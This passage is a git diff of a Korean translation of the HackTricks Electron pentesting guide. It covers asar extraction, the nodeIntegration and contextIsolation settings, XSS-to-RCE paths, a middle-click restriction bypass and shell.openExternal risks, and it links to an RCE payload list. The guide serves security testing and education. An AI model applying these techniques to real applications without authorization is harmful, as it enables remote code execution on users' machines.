ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•œ ํฌ๊ด„์ ์ธ ์—ด๊ฑฐ๊ฐ€ ์™„๋ฃŒ๋˜๋ฉด ๋งŽ์€ ๊ฐ€๋Šฅํ•œ ์ทจ์•ฝ์ ์„ ๊ฒ€์‚ฌํ•  ์ฐจ๋ก€์ž…๋‹ˆ๋‹ค. ์ฒดํฌ๋ฆฌ์ŠคํŠธ๋Š” ๋‹ค์Œ์—์„œ ํ™•์ธํ•˜์„ธ์š”: +์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•œ ํฌ๊ด„์  ์—ด๊ฑฐ๊ฐ€ ์™„๋ฃŒ๋˜์—ˆ์œผ๋ฉด ์ด์ œ ๋‹ค์–‘ํ•œ ์ทจ์•ฝ์ ์„ ์ ๊ฒ€ํ•  ์ฐจ๋ก€์ž…๋‹ˆ๋‹ค. ์ฒดํฌ๋ฆฌ์ŠคํŠธ๋Š” ๋‹ค์Œ์—์„œ ํ™•์ธํ•˜์„ธ์š”: {{#ref}} @@ -343,7 +342,7 @@ _์ƒˆ ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ brute-forcing ๋˜๋Š” spidering ์ค‘์— ๋ฐœ๊ฒฌ๋˜๋ฉด, ์–ธ์ œ ### Monitor Pages for changes -ํŽ˜์ด์ง€ ๋ณ€๊ฒฝ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์—ฌ ์ทจ์•ฝ์ ์ด ์ถ”๊ฐ€๋˜๋Š”์ง€๋ฅผ ํ™•์ธํ•˜๋ ค๋ฉด [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋ณ€๊ฒฝ์œผ๋กœ ์ธํ•ด ์ทจ์•ฝ์ ์ด ์ƒ๊ธธ ์ˆ˜ ์žˆ๋Š”์ง€ ํŽ˜์ด์ง€ ์ˆ˜์ •์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋ ค๋ฉด [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index cfe94215a..143481b97 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -4,14 +4,14 @@ ## ์†Œ๊ฐœ -Electron์€ ๋กœ์ปฌ ๋ฐฑ์—”๋“œ(**NodeJS**)์™€ ํ”„๋ŸฐํŠธ์—”๋“œ(**Chromium**)๋ฅผ ๊ฒฐํ•ฉํ•˜์ง€๋งŒ, ์ตœ์‹  ๋ธŒ๋ผ์šฐ์ €์— ์žˆ๋Š” ์ผ๋ถ€ ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ๋ถ€์กฑํ•ฉ๋‹ˆ๋‹ค. +Electron์€ ๋กœ์ปฌ ๋ฐฑ์—”๋“œ(**NodeJS**)์™€ ํ”„๋ก ํŠธ์—”๋“œ(**Chromium**)๋ฅผ ๊ฒฐํ•ฉํ•œ ๊ตฌ์กฐ์ง€๋งŒ, ์ตœ์‹  ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ œ๊ณตํ•˜๋Š” ์ผ๋ถ€ ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ๋ถ€์กฑํ•ฉ๋‹ˆ๋‹ค. -๋ณดํ†ต electron ์•ฑ ์ฝ”๋“œ๋Š” `.asar` ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์•ˆ์—์„œ ๋ฐœ๊ฒฌ๋ฉ๋‹ˆ๋‹ค. ์ฝ”๋“œ๋ฅผ ์–ป์œผ๋ ค๋ฉด ์ด๋ฅผ ์ถ”์ถœํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: +๋ณดํ†ต Electron ์•ฑ ์ฝ”๋“œ๋Š” `.asar` ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด๋ถ€์— ๋“ค์–ด ์žˆ์–ด, ์ฝ”๋“œ๋ฅผ ์–ป์œผ๋ ค๋ฉด ์ด๋ฅผ ์ถ”์ถœํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -Electron ์•ฑ์˜ ์†Œ์Šค ์ฝ”๋“œ์—์„œ `packet.json` ์•ˆ์— ๋ณด์•ˆ ์„ค์ •์ด ์ ์šฉ๋œ `main.js` ํŒŒ์ผ์ด ์ง€์ •๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +Electron ์•ฑ์˜ ์†Œ์Šค ์ฝ”๋“œ์—์„œ `packet.json` ์•ˆ์— ๋ณด์•ˆ ์„ค์ •์ด ์ •์˜๋œ `main.js` ํŒŒ์ผ์ด ์ง€์ •๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ```json { "name": "standard-notes", @@ -24,7 +24,7 @@ Electron์—๋Š” 2๊ฐ€์ง€ ํ”„๋กœ์„ธ์Šค ์œ ํ˜•์ด ์žˆ์Šต๋‹ˆ๋‹ค: ![](<../../../images/image (182).png>) -ํ•˜๋‚˜์˜ **๋ Œ๋”๋Ÿฌ ํ”„๋กœ์„ธ์Šค**๋Š” ํŒŒ์ผ์„ ๋กœ๋“œํ•˜๋Š” ๋ธŒ๋ผ์šฐ์ € ์ฐฝ์ด ๋ฉ๋‹ˆ๋‹ค: +**๋ Œ๋”๋Ÿฌ ํ”„๋กœ์„ธ์Šค**๋Š” ํŒŒ์ผ์„ ๋กœ๋“œํ•˜๋Š” ๋ธŒ๋ผ์šฐ์ € ์ฐฝ์ž…๋‹ˆ๋‹ค: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -main.js ํŒŒ์ผ ๋‚ด๋ถ€์˜ **main process**์—์„œ **renderer process**์˜ ์„ค์ •์„ **๊ตฌ์„ฑ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์„ค์ •์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ตฌ์„ฑ๋˜๋ฉด ์ผ๋ถ€ ์„ค์ •์€ **Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด RCE**๋‚˜ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์„ ์–ป๋Š” ๊ฒƒ์„ **๋ฐฉ์ง€**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +main.js ํŒŒ์ผ ์•ˆ์˜ **๋ฉ”์ธ ํ”„๋กœ์„ธ์Šค**์—์„œ **๋ Œ๋”๋Ÿฌ ํ”„๋กœ์„ธ์Šค**์˜ ์„ค์ •์„ **๊ตฌ์„ฑ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ถ€ ์„ค์ •์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ตฌ์„ฑํ•˜๋ฉด **Electron** ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด **RCE** ๋˜๋Š” ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์„ ์–ป๋Š” ๊ฒƒ์„ **๋ฐฉ์ง€**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ **Node apis๋ฅผ ํ†ตํ•ด ๊ธฐ๊ธฐ์— ์ ‘๊ทผํ•  ์ˆ˜** ์žˆ์ง€๋งŒ ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๋„๋ก ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ Node apis๋ฅผ ํ†ตํ•ด **๋””๋ฐ”์ด์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**, ํ•˜์ง€๋งŒ ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๋„๋ก ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: -- **`nodeIntegration`** - ๊ธฐ๋ณธ๊ฐ’์€ `off`์ž…๋‹ˆ๋‹ค. ์ผœ์ ธ ์žˆ์œผ๋ฉด renderer process์—์„œ node ๊ธฐ๋Šฅ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **`contextIsolation`** - ๊ธฐ๋ณธ๊ฐ’์€ `on`์ž…๋‹ˆ๋‹ค. `off`์ด๋ฉด main๊ณผ renderer ํ”„๋กœ์„ธ์Šค๊ฐ€ ๊ฒฉ๋ฆฌ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +- **`nodeIntegration`** - ๊ธฐ๋ณธ๊ฐ’์€ `off`์ž…๋‹ˆ๋‹ค. ํ™œ์„ฑํ™”๋˜๋ฉด ๋ Œ๋”๋Ÿฌ ํ”„๋กœ์„ธ์Šค์—์„œ Node ๊ธฐ๋Šฅ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **`contextIsolation`** - ๊ธฐ๋ณธ๊ฐ’์€ `on`์ž…๋‹ˆ๋‹ค. `off`์ด๋ฉด ๋ฉ”์ธ ํ”„๋กœ์„ธ์Šค์™€ ๋ Œ๋”๋Ÿฌ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๊ฒฉ๋ฆฌ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. - **`preload`** - ๊ธฐ๋ณธ๊ฐ’์€ ๋น„์–ด ์žˆ์Šต๋‹ˆ๋‹ค. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - ๊ธฐ๋ณธ๊ฐ’์€ `off`์ž…๋‹ˆ๋‹ค. NodeJS๊ฐ€ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋™์ž‘์„ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค. +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - ๊ธฐ๋ณธ๊ฐ’์€ `off`์ž…๋‹ˆ๋‹ค. NodeJS๊ฐ€ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์ž‘์—…์„ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค. - Workers์—์„œ์˜ Node Integration -- **`nodeIntegrationInSubframes`** - ๊ธฐ๋ณธ๊ฐ’์€ `off`์ž…๋‹ˆ๋‹ค. -- ๋งŒ์•ฝ **`nodeIntegration`**์ด **enabled**๋˜์–ด ์žˆ์œผ๋ฉด, ์ด๋Š” Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์—์„œ **iframe**์— ๋กœ๋“œ๋œ ์›น ํŽ˜์ด์ง€์—์„œ **Node.js APIs**๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. -- ๋งŒ์•ฝ **`nodeIntegration`**์ด **disabled**๋˜์–ด ์žˆ์œผ๋ฉด, preload๋“ค์ด iframe์—์„œ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. +- **`nodeIntegrationInSubframes`**- ๊ธฐ๋ณธ๊ฐ’์€ `off`์ž…๋‹ˆ๋‹ค. +- `nodeIntegration`์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด, Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์˜ iframe์— ๋กœ๋“œ๋œ ์›น ํŽ˜์ด์ง€์—์„œ **Node.js APIs**๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- `nodeIntegration`์ด ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด preload๊ฐ€ iframe์—์„œ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. Example of configuration: ```javascript @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -๋‹ค์Œ์€ [here](https://7as.es/electron/nodeIntegration_rce.txt)์—์„œ ๊ฐ€์ ธ์˜จ ์ผ๋ถ€ **RCE payloads**: +๋‹ค์Œ์€ [here](https://7as.es/electron/nodeIntegration_rce.txt)์— ์žˆ๋Š” ๋ช‡ ๊ฐ€์ง€ **RCE payloads**: ```html Example Payloads (Windows): ``` ### ํŠธ๋ž˜ํ”ฝ ์บก์ฒ˜ -start-main ์„ค์ •์„ ์ˆ˜์ •ํ•˜๊ณ  ๋‹ค์Œ๊ณผ ๊ฐ™์€ proxy ์‚ฌ์šฉ์„ ์ถ”๊ฐ€ํ•˜์„ธ์š”: +start-main ๊ตฌ์„ฑ์„ ์ˆ˜์ •ํ•˜๊ณ  ๋‹ค์Œ๊ณผ ๊ฐ™์€ proxy ์‚ฌ์šฉ์„ ์ถ”๊ฐ€ํ•˜์„ธ์š”: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` ## Electron Local Code Injection -๋กœ์ปฌ์—์„œ Electron App์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ž„์˜์˜ JavaScript ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค. ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ์„ ํ™•์ธ: +๋กœ์ปฌ์—์„œ Electron App์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ž„์˜์˜ javascript ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”: + {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -111,7 +112,7 @@ start-main ์„ค์ •์„ ์ˆ˜์ •ํ•˜๊ณ  ๋‹ค์Œ๊ณผ ๊ฐ™์€ proxy ์‚ฌ์šฉ์„ ์ถ”๊ฐ€ํ•˜์„ธ ## RCE: XSS + nodeIntegration -๋งŒ์•ฝ **nodeIntegration**์ด **on**์œผ๋กœ ์„ค์ •๋˜์–ด ์žˆ๋‹ค๋ฉด, ์›น ํŽ˜์ด์ง€์˜ JavaScript๋Š” `require()`๋ฅผ ํ˜ธ์ถœํ•˜๊ธฐ๋งŒ ํ•ด๋„ Node.js ๊ธฐ๋Šฅ์„ ์‰ฝ๊ฒŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด Windows์—์„œ calc ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค: +If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is: ```html ``` -> [!NOTE] > **`contextIsolation`์ด ์ผœ์ ธ ์žˆ์œผ๋ฉด ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค** +> [!NOTE] > **`contextIsolation`์ด ์ผœ์ ธ ์žˆ์œผ๋ฉด, ์ด ๋ฐฉ๋ฒ•์€ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค** ## RCE: XSS + contextIsolation -The _**contextIsolation**_๋Š” ์›น ํŽ˜์ด์ง€ ์Šคํฌ๋ฆฝํŠธ์™€ Electron์˜ ๋‚ด๋ถ€ JavaScript ์ฝ”๋“œ ๊ฐ„์˜ ๋ถ„๋ฆฌ๋œ ์ปจํ…์ŠคํŠธ๋ฅผ ๋„์ž…ํ•˜์—ฌ ๊ฐ ์ฝ”๋“œ์˜ JavaScript ์‹คํ–‰์ด ์„œ๋กœ ์˜ํ–ฅ์„ ๋ฏธ์น˜์ง€ ์•Š๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” RCE ๊ฐ€๋Šฅ์„ฑ์„ ์ œ๊ฑฐํ•˜๊ธฐ ์œ„ํ•œ ํ•„์ˆ˜ ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค. +_**contextIsolation**_์€ **์›น ํŽ˜์ด์ง€ ์Šคํฌ๋ฆฝํŠธ์™€ JavaScript Electron์˜ ๋‚ด๋ถ€ ์ฝ”๋“œ ๊ฐ„์˜ ๋ถ„๋ฆฌ๋œ ์ปจํ…์ŠคํŠธ**๋ฅผ ๋„์ž…ํ•˜์—ฌ ๊ฐ ์ฝ”๋“œ์˜ JavaScript ์‹คํ–‰์ด ์„œ๋กœ ์˜ํ–ฅ์„ ๋ฏธ์น˜์ง€ ์•Š๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” RCE ๊ฐ€๋Šฅ์„ฑ์„ ์ œ๊ฑฐํ•˜๊ธฐ ์œ„ํ•œ ํ•„์ˆ˜ ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค. -์ปจํ…์ŠคํŠธ๊ฐ€ ๋ถ„๋ฆฌ๋˜์–ด ์žˆ์ง€ ์•Š์œผ๋ฉด ๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์ปจํ…์ŠคํŠธ๊ฐ€ ๋ถ„๋ฆฌ๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋ฉด ๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: -1. renderer์—์„œ **์ž„์˜์˜ JavaScript๋ฅผ ์‹คํ–‰**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (XSS ๋˜๋Š” ์™ธ๋ถ€ ์‚ฌ์ดํŠธ๋กœ์˜ ์ด๋™) -2. **preload๋‚˜ Electron ๋‚ด๋ถ€ ์ฝ”๋“œ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ๋‚ด์žฅ ๋ฉ”์„œ๋“œ๋ฅผ ๋ฎ์–ด์”€**์œผ๋กœ์จ ํ•จ์ˆ˜๋ฅผ ์žฅ์•…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค -3. **๋ฎ์–ด์“ด ํ•จ์ˆ˜**์˜ ์‚ฌ์šฉ์„ **ํŠธ๋ฆฌ๊ฑฐ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค +1. renderer์—์„œ **์ž„์˜์˜ JavaScript๋ฅผ ์‹คํ–‰** (XSS ๋˜๋Š” ์™ธ๋ถ€ ์‚ฌ์ดํŠธ๋กœ์˜ ์ด๋™) +2. preload ๋˜๋Š” Electron ๋‚ด๋ถ€ ์ฝ”๋“œ์—์„œ ์‚ฌ์šฉ๋˜๋Š” **๋‚ด์žฅ ๋ฉ”์„œ๋“œ๋ฅผ ๋ฎ์–ด์จ์„œ ์ œ์–ด๊ถŒ ํš๋“** +3. **๋ฎ์–ด์“ด ํ•จ์ˆ˜์˜ ์‚ฌ์šฉ์„ ํŠธ๋ฆฌ๊ฑฐ** 4. RCE? -๋‚ด์žฅ ๋ฉ”์„œ๋“œ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋Š” ์žฅ์†Œ๋Š” 2๊ณณ์ด ์žˆ์Šต๋‹ˆ๋‹ค: preload ์ฝ”๋“œ ๋˜๋Š” Electron ๋‚ด๋ถ€ ์ฝ”๋“œ์—์„œ: +๋‚ด์žฅ ๋ฉ”์„œ๋“œ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋Š” ์œ„์น˜๋Š” 2๊ณณ์ž…๋‹ˆ๋‹ค: preload ์ฝ”๋“œ ๋˜๋Š” Electron ๋‚ด๋ถ€ ์ฝ”๋“œ: {{#ref}} @@ -180,22 +181,22 @@ electron-contextisolation-rce-via-ipc.md ### ํด๋ฆญ ์ด๋ฒคํŠธ ์šฐํšŒ -๋งํฌ๋ฅผ ํด๋ฆญํ•  ๋•Œ ์ œํ•œ์ด ์ ์šฉ๋˜์–ด ์žˆ๋‹ค๋ฉด, ์ผ๋ฐ˜์ ์ธ ์™ผ์ชฝ ํด๋ฆญ ๋Œ€์‹  **middle click**์„ ์‚ฌ์šฉํ•˜์—ฌ ํ•ด๋‹น ์ œํ•œ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋งํฌ๋ฅผ ํด๋ฆญํ•  ๋•Œ ์ œํ•œ์ด ์žˆ๋Š” ๊ฒฝ์šฐ, ์ผ๋ฐ˜ ์™ผ์ชฝ ํด๋ฆญ ๋Œ€์‹  **middle click**์„ ์‚ฌ์šฉํ•ด ์ด๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```javascript window.addEventListener('click', (e) => { ``` ## shell.openExternal์„ ํ†ตํ•œ RCE -์ด ์˜ˆ์ œ๋“ค์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ๋ฐ [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)๋ฅผ ์ฐธ๊ณ ํ•˜์„ธ์š”. +์ด ์˜ˆ์ œ๋“ค์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ๋ฐ [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)๋ฅผ ํ™•์ธํ•˜์„ธ์š” -Electron ๋ฐ์Šคํฌํ†ฑ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋ฐฐํฌํ•  ๋•Œ `nodeIntegration`๊ณผ `contextIsolation` ์„ค์ •์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์„ค์ •์ด ์ ์šฉ๋˜๋ฉด ๋ฉ”์ธ ํ”„๋กœ์„ธ์Šค์—์„œ preload ์Šคํฌ๋ฆฝํŠธ๋‚˜ Electron์˜ ๋„ค์ดํ‹ฐ๋ธŒ ์ฝ”๋“œ๋กœ์˜ **client-side remote code execution (RCE)** ์‹œ๋„๊ฐ€ ์‹ค์งˆ์ ์œผ๋กœ ์ฐจ๋‹จ๋˜๋Š” ๊ฒƒ์œผ๋กœ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. +Electron ๋ฐ์Šคํฌํ†ฑ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋ฐฐํฌํ•  ๋•Œ `nodeIntegration` ๋ฐ `contextIsolation` ์„ค์ •์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ตฌ์„ฑํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์„ค์ •์ด ์ ์šฉ๋˜๋ฉด preload scripts ๋˜๋Š” ๋ฉ”์ธ ํ”„๋กœ์„ธ์Šค์˜ Electron native code๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•œ **client-side remote code execution (RCE)**๊ฐ€ ์‚ฌ์‹ค์ƒ ์ฐจ๋‹จ๋˜๋Š” ๊ฒƒ์œผ๋กœ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. -์‚ฌ์šฉ์ž๊ฐ€ ๋งํฌ๋ฅผ ํด๋ฆญํ•˜๊ฑฐ๋‚˜ ์ƒˆ ์ฐฝ์„ ์—ด๋ฉด ํŠน์ • ์ด๋ฒคํŠธ ๋ฆฌ์Šค๋„ˆ๋“ค์ด ํŠธ๋ฆฌ๊ฑฐ๋˜๋ฉฐ, ์ด๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ณด์•ˆ๊ณผ ๊ธฐ๋Šฅ์— ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค: +์‚ฌ์šฉ์ž๊ฐ€ ๋งํฌ๋ฅผ ํด๋ฆญํ•˜๊ฑฐ๋‚˜ ์ƒˆ ์ฐฝ์„ ์—ด๋ฉด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ณด์•ˆ๊ณผ ๊ธฐ๋Šฅ์— ์ค‘์š”ํ•œ ํŠน์ • ์ด๋ฒคํŠธ ๋ฆฌ์Šค๋„ˆ๊ฐ€ ํŠธ๋ฆฌ๊ฑฐ๋ฉ๋‹ˆ๋‹ค: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -์ด๋Ÿฌํ•œ ๋ฆฌ์Šค๋„ˆ๋“ค์€ ๋ฐ์Šคํฌํƒ‘ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์˜ํ•ด **์žฌ์ •์˜๋˜์–ด** ์ž์ฒด **๋น„์ฆˆ๋‹ˆ์Šค ๋กœ์ง**์„ ๊ตฌํ˜„ํ•ฉ๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ํƒ์ƒ‰๋œ ๋งํฌ๋ฅผ ๋‚ด๋ถ€์—์„œ ์—ด์ง€ ์™ธ๋ถ€ ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ์—ด์ง€ ํ‰๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฐ์ •์€ ์ผ๋ฐ˜์ ์œผ๋กœ `openInternally` ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๊ฐ€ `false`๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฉด, ๋งํฌ๋Š” ์™ธ๋ถ€์—์„œ ์—ด๋ ค์•ผ ํ•จ์„ ์˜๋ฏธํ•˜๋ฉฐ `shell.openExternal` ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. +์ด๋Ÿฌํ•œ ๋ฆฌ์Šค๋„ˆ๋“ค์€ **๋ฐ์Šคํฌํƒ‘ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์˜ํ•ด ์žฌ์ •์˜(overridden)**๋˜์–ด ์ž์ฒด **๋น„์ฆˆ๋‹ˆ์Šค ๋กœ์ง**์„ ๊ตฌํ˜„ํ•ฉ๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ํƒ์ƒ‰๋œ ๋งํฌ๋ฅผ ๋‚ด๋ถ€์—์„œ ์—ด์ง€ ์™ธ๋ถ€ ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ์—ด์ง€๋ฅผ ํ‰๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฐ์ •์€ ์ผ๋ฐ˜์ ์œผ๋กœ `openInternally` ํ•จ์ˆ˜์—์„œ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๊ฐ€ `false`๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฉด ํ•ด๋‹น ๋งํฌ๋Š” ์™ธ๋ถ€์—์„œ ์—ด๋ ค์•ผ ํ•จ์„ ์˜๋ฏธํ•˜๋ฉฐ, `shell.openExternal` ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. **Here is a simplified pseudocode:** @@ -203,11 +204,11 @@ webContents.on("will-navigate", function (event, url) {} ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Electron JS ๋ณด์•ˆ ๊ถŒ์žฅ์‚ฌํ•ญ์€ `openExternal` ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ˜ํ…์ธ ๋ฅผ ์ˆ˜๋ฝํ•˜์ง€ ์•Š์„ ๊ฒƒ์„ ๊ถŒ๊ณ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” 